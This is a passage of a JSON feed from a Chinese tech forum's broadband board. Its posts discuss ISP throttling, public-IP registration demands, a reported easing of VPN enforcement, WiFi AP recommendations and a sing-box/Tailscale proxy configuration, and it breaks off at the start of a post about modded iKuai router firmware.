{
  "version": "https://jsonfeed.org/version/1", 
  "title": "\u5bbd\u5e26\u75c7\u5019\u7fa4", 
  "description": "\u7f51\u901f\u5f88\u91cd\u8981\u3002\u6bd4\u5feb\u66f4\u5feb\u3002", 
  "home_page_url": "https://www.v2ex.com/go/bb", 
  "feed_url": "https://www.v2ex.com/feed/bb.json", 
  "icon": "https://cdn.v2ex.com/navatar/a3c6/5c29/108_large.png?m=1691642161", 
  "favicon": "https://cdn.v2ex.com/navatar/a3c6/5c29/108_normal.png?m=1691642161", 
  "items": [
    {
      "author": {
        "url": "https://www.v2ex.com/member/AutumnVerse", 
        "name": "AutumnVerse", 
        "avatar": "https://cdn.v2ex.com/gravatar/4044fb187f7c65963af80c14d883cd0d?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/1207576", 
      "title": "230 \u5757\u94b1\u4e00\u4e2a\u6708\u7684\u4e13\u7ebf\u5546\u5bbd\uff0c\u6709\u5751\u5417\uff1f", 
      "id": "https://www.v2ex.com/t/1207576", 
      "date_published": "2026-04-21T12:01:14+00:00", 
      "content_html": "<p>\u80cc\u666f\uff1a <a href=\"https://www.v2ex.com/t/1207417\" rel=\"nofollow\">https://www.v2ex.com/t/1207417</a></p>\n<p>\u7531\u4e8e\u5bb6\u91cc\u539f\u6765\u7684\u5bbd\u5e26\u88ab\u9650\u901f+\u9891\u7e41\u65ad\u6d41\uff0c\u672c\u6765\u90fd\u4fdd\u4fee\u4e86\uff0c\u60f3\u770b\u770b\u5176\u4ed6\u8fd0\u8425\u5546\u5bbd\u5e26\uff0c\u65e0\u610f\u95f4\u53d1\u73b0\u54b8\u9c7c\u6709 230 \u5757\u94b1\uff0c\u4e0a\u4e0b\u884c 300m \uff0c\u5e26\u56fa\u5b9a ip \uff0c\u4e0d\u9650\u7aef\u53e3\u3001\u4e0d\u9650\u901f\u5ea6\u3001\u4e0d\u9650\u6d41\u91cf\uff08\u53ea\u8981\u522b\u6709\u5de8\u5927\u8de8\u7701\u6d41\u91cf\u5c31\u884c\uff09\u3002\u4e1a\u52a1\u5458\u8ddf\u6211\u8bf4\u7684\u662f\u201c\u4e13\u7ebf\u201d\u7f51\u7edc\u3002</p>\n<p>\u8fd9\u4e2a\u662f\u6709\u5565\u5751\u5417\uff1f</p>\n<p><a href=\"https://www.v2ex.com/t/862056\" rel=\"nofollow\">https://www.v2ex.com/t/862056</a>\n<a href=\"https://www.v2ex.com/t/1105874\" rel=\"nofollow\">https://www.v2ex.com/t/1105874</a>\n<a href=\"https://www.v2ex.com/t/870970\" rel=\"nofollow\">https://www.v2ex.com/t/870970</a>\n<a href=\"https://www.v2ex.com/t/1125501\" rel=\"nofollow\">https://www.v2ex.com/t/1125501</a></p>\n<p>\u641c\u4e86\u4e0b\u4ee5\u524d\u7684\u8ba8\u8bba\uff0c\u5546\u5bbd\u90fd\u8d35\u5f97\u79bb\u8c31\uff0c\u4e3a\u5565\u6211\u8fd9\u4e2a\u8fd9\u4e48\u4fbf\u5b9c\uff1f</p>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/wolonggl", 
        "name": "wolonggl", 
        "avatar": "https://cdn.v2ex.com/avatar/2e98/771c/94985_large.png?m=1768315008"
      }, 
      "url": "https://www.v2ex.com/t/1207483", 
      "title": "\u5e7f\u897f\u7535\u4fe1\u516c\u7f51 IP \u7528\u6237\u53c8\u88ab\u6253\u7535\u8bdd\u8981\u6c42\u5907\u6848\u6216\u8005\u65ad\u7f51", 
      "id": "https://www.v2ex.com/t/1207483", 
      "date_published": "2026-04-21T07:39:59+00:00", 
      "content_html": "<p>\u63a5\u5230 10000 \u7535\u8bdd\uff0c\u8981\u6c42\u6709\u516c\u7f51 IP \u7684\u7528\u6237\u5fc5\u987b\u5907\u6848\u624d\u80fd\u5f00\u653e\u516c\u7f51\u8bbf\u95ee\uff0c\u5426\u5219\u65ad\u7f51\uff0c\u622a\u81f3\u5230 5 \u6708 10 \u65e5</p>\n<p>\u540c\u5e7f\u897f\u7684\u7528\u6237\u6709\u63a5\u6536\u7c7b\u4f3c\u7535\u8bdd\u5417\uff1f</p>\n<p>\u76ee\u524d\u5bb6\u91cc\u90e8\u7f72\u4e86 emby \u5a92\u4f53\u670d\u52a1\u548c iptv \u6620\u5c04\u4f9b\u670b\u53cb\u4e4b\u95f4\u5171\u4eab\uff0c\u6708\u5ea6\u4e0a\u4f20\u6d41\u91cf\u5927\u6982 600G \u5de6\u53f3\u5427</p>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/worker201", 
        "name": "worker201", 
        "avatar": "https://cdn.v2ex.com/avatar/a03b/4a1b/693377_large.png?m=1754569410"
      }, 
      "url": "https://www.v2ex.com/t/1207422", 
      "title": "nas docker \u90e8\u7f72\u7684 qbittorrent \u6ca1\u6709\u901f\u5ea6\u600e\u4e48\u89e3\u51b3?", 
      "id": "https://www.v2ex.com/t/1207422", 
      "date_published": "2026-04-21T03:31:43+00:00", 
      "content_html": "\u5bb6\u91cc\u7684\u5bbd\u5e26\u6ca1\u6709\u516c\u7f51 IP, \u7528 docker \u90e8\u7f72\u7684 qbittorrent \u6709\u628a bt \u7aef\u53e3\u6620\u5c04\u51fa\u6765<br />\u4f46\u662f\u73b0\u5728\u4e0b\u8f7d\u6ca1\u6709\u901f\u5ea6, \u6709\u4ec0\u4e48\u89e3\u51b3\u65b9\u6cd5"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/AutumnVerse", 
        "name": "AutumnVerse", 
        "avatar": "https://cdn.v2ex.com/gravatar/4044fb187f7c65963af80c14d883cd0d?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/1207417", 
      "title": "\u6210\u90fd\u8054\u901a\uff0c\u4e0a\u5468\u5f00\u59cb\u6709\u516c\u7f51 ip \u7684\u5bbd\u5e26\uff0c\u5e73\u5747 20 \u5206\u949f\u65ad\u7ebf\u4e00\u6b21", 
      "id": "https://www.v2ex.com/t/1207417", 
      "date_published": "2026-04-21T03:22:09+00:00", 
      "content_html": "<p>\u8054\u7cfb\u5c0f\u533a\u7684\u5bbd\u5e26\u5c0f\u54e5\uff0c\u5c0f\u54e5\u7b2c\u4e00\u53e5\u5c31\u662f\u95ee\u662f\u4e0d\u662f\u6709\u516c\u7f51 ip \uff0c\u6709\u516c\u7f51 ip \u7684\u5c31\u4f1a\u8fd9\u6837\u3002\u8bf4\u9700\u8981\u4e0a\u62a5\u5230\u5e02\u516c\u53f8\u53bb\u5ba1\u6279\u624d\u80fd\u89e3\u5c01\uff0c\u7533\u8bf7\u4e0d\u4e0b\u6765\u5c31\u53ea\u80fd\u56de\u6536\u516c\u7f51 ip \u89e3\u51b3</p>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/mikeluckybiy", 
        "name": "mikeluckybiy", 
        "avatar": "https://cdn.v2ex.com/gravatar/adb3e8d2bae5950071e487c9effc628f?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/1207343", 
      "date_modified": "2026-04-21T01:09:52+00:00", 
      "content_html": "<p>\u8fd1\u65e5\uff0c\u76f8\u5173\u76d1\u7ba1\u90e8\u95e8\u901a\u8fc7\u7f51\u7edc\u5de1\u67e5\u4e0e\u653f\u4f01\u8054\u901a\u6e20\u9053\uff0c\u5b9e\u65f6\u76d1\u6d4b\u5230\u90e8\u5206\u5546\u6237\u5728\u77e5\u4e4e\u3001\u5c0f\u7ea2\u4e66\u7b49\u793e\u4ea4\u5e73\u53f0\u53cd\u6620\u7684\u8de8\u5883\u7f51\u7edc\u63a5\u5165\u8bc9\u6c42\u3002\u4e3b\u7ba1\u90e8\u95e8\u5bf9\u6b64\u9ad8\u5ea6\u91cd\u89c6\uff0c\u5df2\u4f1a\u540c\u76f8\u5173\u804c\u80fd\u90e8\u95e8\u534f\u8c03\u7535\u4fe1\u8fd0\u8425\u5546\uff0c\u79ef\u6781\u63a8\u52a8\u843d\u5b9e\u9488\u5bf9\u6027\u7684\u901a\u4fe1\u4fdd\u969c\u63aa\u65bd\u3002</p>\n<p>\u7ecf\u6280\u672f\u6eaf\u6e90\u4e0e\u521d\u6b65\u6838\u67e5\uff0c\u8fd1\u671f\u90e8\u5206\u7f51\u7edc\u6ce2\u52a8\u4e3b\u8981\u7cfb\u57fa\u7840\u7535\u4fe1\u8fd0\u8425\u5546\u8fdb\u884c\u5e38\u89c4\u6280\u672f\u67b6\u6784\u8c03\u6574\u53ca\u4e1a\u52a1\u7b56\u7565\u4f18\u5316\u6240\u81f4\u3002\u8bf7\u5e7f\u5927\u7528\u6237\u575a\u6301\u5ba2\u89c2\u7406\u6027\u7acb\u573a\uff0c\u8b66\u60d5\u4e0d\u5b9e\u4fe1\u606f\u6df7\u6dc6\u89c6\u542c\u3001\u717d\u52a8\u5bf9\u7acb\u3002\u5bf9\u4e8e\u4e2a\u522b\u8bd5\u56fe\u901a\u8fc7\u865a\u5047\u8206\u8bba\u5c06\u4f01\u4e1a\u7ecf\u8425\u7ba1\u7406\u8d23\u4efb\u8f6c\u5ac1\u81f3\u76d1\u7ba1\u804c\u80fd\u90e8\u95e8\u7684\u884c\u4e3a\uff0c\u76f8\u5173\u90e8\u95e8\u5c06\u4fdd\u7559\u8fdb\u4e00\u6b65\u8ffd\u7a76\u7684\u6743\u5229\u3002</p>\n<p>\u7a33\u5916\u8d38\u3001\u4fc3\u589e\u957f\u59cb\u7ec8\u662f\u5f53\u524d\u7ecf\u6d4e\u5de5\u4f5c\u7684\u6838\u5fc3\u8bae\u9898\u3002\u76f8\u5173\u90e8\u95e8\u59cb\u7ec8\u575a\u6301\u5728\u6cd5\u6cbb\u6846\u67b6\u4e0b\uff0c\u7cbe\u51c6\u5e73\u8861\u7f51\u7edc\u5b89\u5168\u76d1\u6d4b\u4e0e\u7ecf\u6d4e\u9ad8\u8d28\u91cf\u53d1\u5c55\uff0c\u81f4\u529b\u4e8e\u4e3a\u8de8\u5883\u7535\u5546\u53ca\u5546\u8d38\u4f01\u4e1a\u8425\u9020\u7a33\u5b9a\u3001\u5408\u89c4\u3001\u900f\u660e\u7684\u8425\u5546\u73af\u5883\u3002</p>\n<p>\u9644\uff1a\u76ee\u524d\u91cd\u70b9\u76d1\u6d4b\u53ca\u534f\u8c03\u4fdd\u969c\u7684\u5e73\u53f0\u8303\u56f4\uff1a</p>\n<p>\u8de8\u5883\u652f\u4ed8\u7ed3\u7b97\u7c7b\uff1aPayPal \u3001Stripe</p>\n<p>\u5168\u7403\u4e3b\u6d41\u7535\u5546\u5e73\u53f0\uff1aAmazon \u3001eBay</p>\n<p>\u793e\u4ea4\u7535\u5546\u53ca\u65b0\u5174\u8d38\u6613\u7c7b\uff1aTikTok \u3001Temu \u3001SHEIN \u3001RedNote \uff08\u5c0f\u7ea2\u4e66\u6d77\u5916\u7248\uff09</p>\n", 
      "date_published": "2026-04-21T01:08:11+00:00", 
      "title": "\u9488\u5bf9 VPN \u7684\u6574\u6cbb\u884c\u52a8\u5c06\u4f1a\u6709\u6240\u653e\u677e\uff0c\u5df2\u5f71\u54cd\u4e0a\u6d77\u3001\u6d59\u6c5f\u3001\u798f\u5efa\u3001\u5e7f\u4e1c\u7b49\u5730\u7684\u5916\u8d38\u5546\u5bb6", 
      "id": "https://www.v2ex.com/t/1207343"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/villivateur", 
        "name": "villivateur", 
        "avatar": "https://cdn.v2ex.com/avatar/233d/26cb/273091_large.png?m=1768533916"
      }, 
      "url": "https://www.v2ex.com/t/1207334", 
      "title": "\u6c42\u63a8\u8350\u652f\u6301 VLAN\u3001\u591a SSID\u3001\u8de8 AP \u6f2b\u6e38\u7684 WiFi AP", 
      "id": "https://www.v2ex.com/t/1207334", 
      "date_published": "2026-04-21T00:40:28+00:00", 
      "content_html": "<p>\u73b0\u5728\u6211\u5728\u7528\u4e24\u4e2a\u5c0f\u7c73\u8def\u7531\u5668\u505a wifi mesh \uff0c\u4f46\u662f\u4e0d\u652f\u6301 VLAN \u3002\u6211\u60f3\u8981\u4e00\u5957\u652f\u6301 VLAN \u7684 AP \u65b9\u6848\u6765\u66ff\u6362\u6211\u73b0\u5728\u7684\u5c0f\u7c73\u3002</p>\n<p>\u6211\u6709\u4e00\u4e2a OpenWRT \u505a\u4e3b\u8def\u7531\uff0c\u6240\u4ee5\u53ea\u8981 AP \u529f\u80fd\u3002</p>\n<p>\u5bb6\u7528\u73af\u5883\u3002</p>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/evemoo", 
        "name": "evemoo", 
        "avatar": "https://cdn.v2ex.com/gravatar/abf5f717afae96d9e901e5ed7c3809ac?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/1207255", 
      "title": "\u5b89\u5353\u624b\u673a sing-box \u548c tailscale \u5171\u5b58\u914d\u7f6e\u53c2\u8003", 
      "id": "https://www.v2ex.com/t/1207255", 
      "date_published": "2026-04-20T09:42:23+00:00", 
      "content_html": "<p>\u4e00\u5f00\u59cb\u6298\u817e Clash-Meta \u548c <a href=\"https://github.com/Asutorufa/tailscaled-socks5-android\" rel=\"nofollow\">tailscaled-socks5-android</a> \u6d6a\u8d39\u4e86\u5f88\u591a\u65f6\u95f4\uff0c\u6307\u5b9a <a href=\"https://tailscale.com/docs/concepts/userspace-networking\" rel=\"nofollow\">Userspace networking mode</a> \u7684 socks5 \u4ee3\u7406\u51fa\u53e3\u4e00\u76f4\u62a5\u9519\uff1a</p>\n<pre><code>dial tail-socks match IPCIDR/100.64.0.0/10 --&gt; error: context deadline exceeded\n172.19.0.1:41221 -&gt; 100.170.x.x:9801 io/timeout\n</code></pre>\n<p><br/><br/>\n\u6d4b\u8bd5\u7248\u672c\uff1aAndroid 15 + SFA 1.14.0-alpha.15 \u3001Windows-amd64 + SFA 1.13.9</p>\n<p>\u57fa\u7840\u914d\u7f6e\u6765\u6e90\uff1a<a href=\"https://jeffthebside.github.io/OkProxyConf/\" rel=\"nofollow\">OkProxyConf Sing-Box Generator</a>\uff0c\u4fee\u6539 outbounds \u548c endpoint \u7684\u914d\u7f6e</p>\n<p>\u91cd\u70b9\uff1a</p>\n<ol>\n<li><strong>sing-box inbounds \u7684 tun \u4e0d\u80fd\u52a0 route_exclude_address</strong>\uff0c\u52a0\u4e86\u7684\u8bdd <code>100.64.0.0/10</code> \u4f1a\u8d70\u76f4\u8fde\u4e0d\u7ecf\u8fc7 tun \uff08\u548c Windows \u4e0a\u7684 Clash \u914d\u7f6e\u6709\u533a\u522b\uff0c\u88ab\u5751\u4e86\uff09</li>\n<li>\u8981\u8bbf\u95ee\u81ea\u5df1\u7684\u5b50\u7f51\u8bbe\u5907\uff0croute -&gt; rules \u7684 IPCIDR \u8981\u52a0\u4e0a\u81ea\u5df1\u7684\u5185\u7f51\u7f51\u6bb5\uff08 192.168.x.x/16)\uff0c\u4e0d\u7136\u89c4\u5219\u5f80\u4e0b\u5339\u914d\u4f1a\u8d70\u76f4\u8fde</li>\n</ol>\n<p><br/><br/>\n\u914d\u7f6e\u53c2\u8003\uff1a</p>\n<pre><code class=\"language-json\">{\n  \"$schema\": \"https://raw.githubusercontent.com/xmdhs/sing-box-generate-schema/refs/heads/master/schema.generated.json\",\n  \"log\": {\n    \"disabled\": false,\n    \"level\": \"error\",\n    \"timestamp\": true\n  },\n  \"dns\": {\n    \"strategy\": \"prefer_ipv4\",\n    \"servers\": [\n      {\n        \"tag\": \"dns_remote\",\n        \"type\": \"https\",\n        \"server\": \"1.1.1.1\",\n        \"detour\": \"proxy\"\n      },\n      {\n        \"tag\": \"dns_cn\",\n        \"type\": \"https\",\n        \"server\": \"223.5.5.5\"\n      },\n      {\n        \"tag\": \"dns_local\",\n        \"type\": \"udp\",\n        \"server\": \"223.5.5.5\"\n      },\n      {\n        \"tag\": \"dns_fakeip\",\n        \"type\": \"fakeip\",\n        \"inet4_range\": \"198.18.0.0/15\",\n        \"inet6_range\": \"fc00::/18\"\n      }\n    ],\n    \"rules\": [\n      {\n        \"clash_mode\": \"direct\",\n        \"server\": \"dns_cn\"\n      },\n      {\n        \"clash_mode\": \"global\",\n        \"server\": \"dns_remote\"\n      },\n      {\n        \"rule_set\": \"geosite-cn\",\n        \"server\": \"dns_cn\"\n      },\n      {\n        \"query_type\": [\n          \"A\",\n          \"AAAA\"\n        ],\n        \"rule_set\": \"geosite-geolocation-!cn\",\n        \"server\": \"dns_fakeip\"\n      }\n    ],\n    \"final\": \"dns_remote\"\n  },\n  \"inbounds\": [\n    {\n      \"tag\": \"tun-in\",\n      \"type\": \"tun\",\n      \"address\": [\n        \"172.19.0.1/30\",\n        \"fdfe:dcba:9876::1/126\"\n      ],\n      \"mtu\": 9000,\n      \"auto_route\": true,\n      \"strict_route\": true,\n      \"stack\": \"mixed\"\n    },\n    {\n      \"tag\": \"mixed-in\",\n      \"type\": \"mixed\",\n      \"listen\": \"127.0.0.1\",\n      \"listen_port\": 7890\n    }\n  ],\n  \"experimental\": {\n    \"clash_api\": {\n      \"external_controller\": \"127.0.0.1:9095\",\n      \"external_ui\": \"ui\",\n      \"external_ui_download_url\": \"https://gh-proxy.com/https://github.com/Zephyruso/zashboard/archive/refs/heads/gh-pages.zip\",\n      \"external_ui_download_detour\": \"direct\"\n    },\n    \"cache_file\": {\n      \"enabled\": true,\n      \"path\": \"cache.db\"\n    }\n  },\n  \"outbounds\": [\n    {\n      \"tag\": \"proxy\",\n      \"type\": \"selector\",\n      \"default\": \"urltest\",\n      \"outbounds\": [\n        \"urltest\",\n        \"hysteria2\",\n        \"tls-reality\"\n      ]\n    },\n    {\n      \"tag\": \"urltest\",\n      \"type\": \"urltest\",\n      \"outbounds\": [\n        \"hysteria2\",\n        \"tls-reality\"\n      ]\n    },\n    {\n      \"password\": \"\",\n      \"server\": \"\",\n      \"server_port\": 443,\n      \"tag\": \"hysteria2\",\n      \"tls\": {\n        \"enabled\": true,\n        \"server_name\": \"\"\n      },\n      \"type\": \"hysteria2\"\n    },\n    {\n      \"server\": \"\",\n      \"server_port\": 443,\n      \"tag\": \"tls-reality\",\n      \"tls\": {\n        \"enabled\": true,\n        \"server_name\": \"www.visa.com.hk\",\n        \"utls\": {\n          \"enabled\": true,\n          \"fingerprint\": \"chrome\"\n        },\n        \"reality\": {\n          \"enabled\": true,\n          \"public_key\": \"\",\n          \"short_id\": \"\"\n        }\n      },\n      \"type\": \"vless\",\n      \"uuid\": \"\",\n      \"flow\": \"xtls-rprx-vision\"\n    }\n  ],\n  \"endpoints\": [\n    {\n      \"type\": \"tailscale\",\n      \"tag\": \"tailscale-in\",\n      \"auth_key\": \"\",\n      \"accept_routes\": true,\n      \"system_interface\": false,\n      \"udp_timeout\": \"1m\"\n    }\n  ],\n  \"route\": {\n    \"default_domain_resolver\": {\n      \"server\": \"dns_local\"\n    },\n    \"rules\": [\n      {\n        \"domain_suffix\": [\n          \"ts.net\"\n        ],\n        \"outbound\": \"tailscale-in\"\n      },\n      {\n        \"ip_cidr\": [\n          \"100.64.0.0/10\",\n          \"fd7a:115c:a1e0::/48\",\n          \"192.168.31.1/24\"\n        ],\n        \"outbound\": \"tailscale-in\"\n      },\n      {\n        \"action\": \"sniff\",\n        \"sniffer\": [\n          \"http\",\n          \"tls\",\n          \"quic\",\n          \"dns\"\n        ],\n        \"timeout\": \"500ms\"\n      },\n      {\n        \"type\": \"logical\",\n        \"mode\": \"or\",\n        \"rules\": [\n          {\n            \"port\": 53\n          },\n          {\n            \"protocol\": \"dns\"\n          }\n        ],\n        \"action\": \"hijack-dns\"\n      },\n      {\n        \"ip_is_private\": true,\n        \"action\": \"route\",\n        \"outbound\": \"direct\"\n      },\n      {\n        \"rule_set\": [\n          \"geosite-category-ads-all\"\n        ],\n        \"action\": \"reject\"\n      },\n      {\n        \"clash_mode\": \"Global\",\n        \"action\": \"route\",\n        \"outbound\": \"proxy\"\n      },\n      {\n        \"clash_mode\": \"Direct\",\n        \"action\": \"route\",\n        \"outbound\": \"direct\"\n      },\n      {\n        \"type\": \"logical\",\n        \"mode\": \"and\",\n        \"rules\": [\n          {\n            \"rule_set\": \"geosite-geolocation-!cn\"\n          },\n          {\n            \"invert\": true,\n            \"rule_set\": [\n              \"geosite-cn\"\n            ]\n          }\n        ],\n        \"action\": \"route\",\n        \"outbound\": \"proxy\"\n      },\n      {\n        \"rule_set\": [\n          \"geosite-cn\"\n        ],\n        \"action\": \"route\",\n        \"outbound\": \"direct\"\n      },\n      {\n        \"rule_set\": [\n          \"geoip-cn\"\n        ],\n        \"action\": \"route\",\n        \"outbound\": \"direct\"\n      }\n    ],\n    \"auto_detect_interface\": true,\n    \"rule_set\": [\n      {\n        \"tag\": \"geosite-category-ads-all\",\n        \"type\": \"remote\",\n        \"format\": \"binary\",\n        \"url\": \"https://ghfast.top/https://raw.githubusercontent.com/MetaCubeX/meta-rules-dat/refs/heads/sing/geo/geosite/category-ads-all.srs\"\n      },\n      {\n        \"tag\": \"geoip-cn\",\n        \"type\": \"remote\",\n        \"format\": \"binary\",\n        \"url\": \"https://ghfast.top/https://raw.githubusercontent.com/MetaCubeX/meta-rules-dat/refs/heads/sing/geo/geoip/cn.srs\"\n      },\n      {\n        \"tag\": \"geosite-cn\",\n        \"type\": \"remote\",\n        \"format\": \"binary\",\n        \"url\": \"https://ghfast.top/https://raw.githubusercontent.com/MetaCubeX/meta-rules-dat/refs/heads/sing/geo/geosite/cn.srs\"\n      },\n      {\n        \"tag\": \"geosite-geolocation-!cn\",\n        \"type\": \"remote\",\n        \"format\": \"binary\",\n        \"url\": \"https://ghfast.top/https://raw.githubusercontent.com/MetaCubeX/meta-rules-dat/refs/heads/sing/geo/geosite/geolocation-!cn.srs\"\n      }\n    ]\n  }\n}\n</code></pre>\n<p><br/><br/>\n\u4ee5\u4e0b\u62a5\u9519\u662f\u6b63\u5e38\u7684\uff0c\u4e0d\u7528\u7ba1\uff1a</p>\n<pre><code>missing Tailscale IPv4 address \u62a5\u9519\n\nimplicit default HTTP client using default outbound for remote rule-sets is deprecated \uff0chttps://github.com/SagerNet/sing-box/issues/4051 \u8bf4\u5728 1.14-alpha \u4fee\u4e86\uff0c\u4f46\u662f\u542f\u52a8\u8fd8\u662f\u4f1a\u63d0\u793a\n</code></pre>\n<p>REF\uff1a</p>\n<ol>\n<li><a href=\"https://www.kxxt.dev/blog/clash-for-android-and-tailscale/\" rel=\"nofollow\">\u5728 Android \u4e0a\u540c\u65f6\u4f7f\u7528 Clash for Android \u548c Tailscale</a></li>\n<li><a href=\"https://www.nodeseek.com/post-547088-1\" rel=\"nofollow\">sb \u96c6\u6210 Tailscale \u8bbf\u95ee\u5185\u7f51</a></li>\n</ol>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/MomoBD", 
        "name": "MomoBD", 
        "avatar": "https://cdn.v2ex.com/gravatar/38a0229b062ba0e0a62c48da68e5189b?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/1206987", 
      "date_modified": "2026-04-19T22:07:25+00:00", 
      "content_html": "<p>\u7f8e\u533a\u7559\u5b50\u3002\u76ee\u524d\u5728\u5bb6\u7528 rpi \u8dd1\u4e86\u4e00\u4e2a\u5c0f\u670d\u52a1\u5668\u3002\u9a6c\u4e0a\u6691\u5047\u8981\u4e34\u65f6\u56de\u56fd\uff0c\u60f3\u8bf7\u95ee\u901a\u8fc7 tailscale \u4ece\u56fd\u5185\u8bbf\u95ee\u8be5\u670d\u52a1\u5668\u7684\u53ef\u884c\u6027\u548c\u7a33\u5b9a\u6027\u3002\n\u4f7f\u7528\u573a\u666f\u5927\u6982\u662f ssh \u548c samba \u3002\u4e3b\u8981\u662f\u6015\u5230\u65f6\u5019\u8dd1\u5728 rpi \u4e0a\u7684 openclaw \u6302\u4e86\u6ca1\u6cd5 ssh \u4e0a\u53bb\u4fee\u3002\n\u6709\u6ca1\u6709\u8fd9\u65b9\u9762 tailscale \u7528\u7684\u6bd4\u8f83\u591a\u7684\u7ed9\u70b9\u5efa\u8bae\u3002\u8c22\u8c22</p>\n", 
      "date_published": "2026-04-19T08:21:09+00:00", 
      "title": "Tailscale \u8fde\u56fd\u5916 homelab", 
      "id": "https://www.v2ex.com/t/1206987"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/MartianZ", 
        "name": "MartianZ", 
        "avatar": "https://cdn.v2ex.com/avatar/0e87/de45/15181_large.png?m=1335104830"
      }, 
      "url": "https://www.v2ex.com/t/1206953", 
      "title": "\u4e0a\u6d77\u8054\u901a\u4f3c\u4e4e\u4e0a\u5f88\u731b\u7684 qos \u9650\u901f\u4e86", 
      "id": "https://www.v2ex.com/t/1206953", 
      "date_published": "2026-04-19T03:42:00+00:00", 
      "content_html": "<p>\u6d66\u4e1c\u4e24\u4e2a\u5730\u65b9\u4e24\u53f0 nas \uff0c\u8054\u901a\u5bbd\u5e26</p>\n<p>\u5176\u4e2d\u4e00\u4e2a\u5730\u65b9\u7684 nas \u4e3b\u8981\u4e0a\u4f20\u7ed9\u53e6\u4e00\u4e2a\u5730\u65b9\u7684 nas \uff0c\u4e92\u76f8\u5907\u4efd\uff0c\u53bb\u5e74\u4e0a\u4f20\u591a\u4e86\uff0c\u4e0a\u4f20\u4ece 40M \u88ab\u9650\u901f\u5230\u4e86 20M\n\u4e00\u76f4\u4ee5\u6765\u7684\u540c\u6b65\u65b9\u6848\u662f wireguard+rsync \uff0cwireguard \u662f\u8d70 udp \u7684\uff0c\u9650\u901f 20M \u4ee5\u540e\uff0cwireguard+rsync \u57fa\u672c\u4e5f\u80fd\u7a33\u5b9a 2MB/s \uff0c\u51d1\u5408\u7528</p>\n<p>\u6700\u8fd1\u53d1\u73b0\uff0c</p>\n<ol>\n<li>\u4e0a\u4f20\u9650\u901f 20M \u88ab\u89e3\u9664\u4e86\uff0c\u73b0\u5728\u6d4b\u901f\u7f51\u7ad9\u53ef\u4ee5 40M \u4e86\uff0c\u751a\u81f3\u66f4\u9ad8\u5230 50M</li>\n<li>\u4e0a\u4f20 udp \u88ab\u731b\u70c8\u7684 qos \u4e86\uff0cwireguard+rsync \u53ea\u80fd 5Mbps \uff0c500kB \u4e0d\u5230\u8fd8\u4e0d\u7a33\u5b9a</li>\n<li>\u6362\u4e86 tcp+syncthing \u65b9\u6848\uff0c\u57fa\u672c\u9650\u901f\u5230 15~18Mbps</li>\n<li>IPv6 \u4e00\u6837\u731b\u70c8 qos \uff0c\u591a\u4e00\u4e9b\u8fde\u63a5\u6ca1\u4ec0\u4e48\u7528\uff0c\u8fd9\u5957 qos \u677f\u5361\uff0c\u611f\u89c9\u662f\u5f88\u9ad8\u7ea7\u7684\u73a9\u610f\u4e86\u3002\u3002</li>\n</ol>\n<p>\u5957\u8def\u66f4\u9ad8\u7ea7\u4e86\uff0c\u73b0\u5728\u9650\u901f\u90fd\u4e0d\u76f4\u63a5\u9650\u4e86\uff0c\u90fd\u6ca1\u6cd5\u53bb\u6295\u8bc9\u53d6\u8bc1\u4e86</p>\n<p>kcp \u8fd8\u6ca1\u8bd5\uff0c\u4e0d\u77e5\u9053\u4e00\u4e9b\u4f2a\u88c5\u53d1\u5305\u7684\u65b9\u6cd5\u6709\u6ca1\u6709\u529e\u6cd5\u7834</p>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/Nyarime", 
        "name": "Nyarime", 
        "avatar": "https://cdn.v2ex.com/avatar/6b55/0566/483005_large.png?m=1776568498"
      }, 
      "url": "https://www.v2ex.com/t/1206925", 
      "title": "\u7231\u5feb\u8f6f\u8def\u7531 ikuai \u5f00\u5fc3\u7248 \u5e26\u63d2\u4ef6\u56fa\u4ef6\u5b8c\u6574\u5206\u6790", 
      "id": "https://www.v2ex.com/t/1206925", 
      "date_published": "2026-04-18T23:47:31+00:00", 
      "content_html": "<p>\u524d\u9635\u5b50\u5728\u6069\u5c71\u770b\u5230\u6709\u7528\u6237\u5728\u5ba3\u4f20 iKuai \u63d2\u4ef6\u7248\uff0c\u4ef7\u683c\u51e0\u767e\u4e00\u4e2a\u6388\u6743\u8fd8\u63d0\u4f9b\u4e00\u4e2a 7 \u5929\u8bd5\u7528\u7684\u5bc6\u94a5\u3002\u56af\uff0c\u4e00\u770b\u4e00\u5806\u63d2\u4ef6\u652f\u6301\uff0c\u5176\u4e2d\u8fd8\u6709\u7591\u4f3c Clash \u7684\u5c0f\u732b\u54aa\u3002\u5f53\u7136\u6211\u5f88\u611f\u8c22\u4ed6\u4eec\u8ba9\u6211\u628a\u8f6f\u8def\u7531\u73a9\u723d\u4e86\uff0c\u4e00\u60f3\u7231\u5feb\u4e91\u5e73\u53f0\u53ea\u6709\u90a3 1 \u4e2a\u51b7\u51b0\u51b0\u7684 Docker \u5c31\u4e0d\u5bd2\u800c\u6817...</p>\n<p><img alt=\"undefined\" class=\"embedded_image\" loading=\"lazy\" referrerpolicy=\"no-referrer\" rel=\"noreferrer\" src=\"https://img.meituan.net/content/fd1f6570e5b9b65893d999a3e0bd5346185215.png\"/></p>\n<p>\u4ed6\u4eec\u7684\u95f2\u9c7c ID \u5206\u522b\u662f\uff1a\u516c\u8def\u66b4\u8d70\u7684\u699b\u5b50\u3001\u4f26\u6566\u5929\u874e\u5ea7\u6d77\u725b\u3002\u8fd8\u6709\u4e2a\u66fe\u7528\u540d\uff1a\u91d1\u9675\u5de8\u87f9\u5ea7\u4f69\u5947\uff08\u4ed6\u4eec\u6709\u591a\u4e2a\u67d0\u9c7c\u5c0f\u53f7\u6ce8\u610f\u9274\u522b\u9a6c\u7532\uff09\uff0c\u81f3\u4e8e\u4ed6\u4eec\u7684\u56fa\u4ef6\u6bd4\u7231\u5feb\u5b98\u65b9\u8fd8\u8981 bt 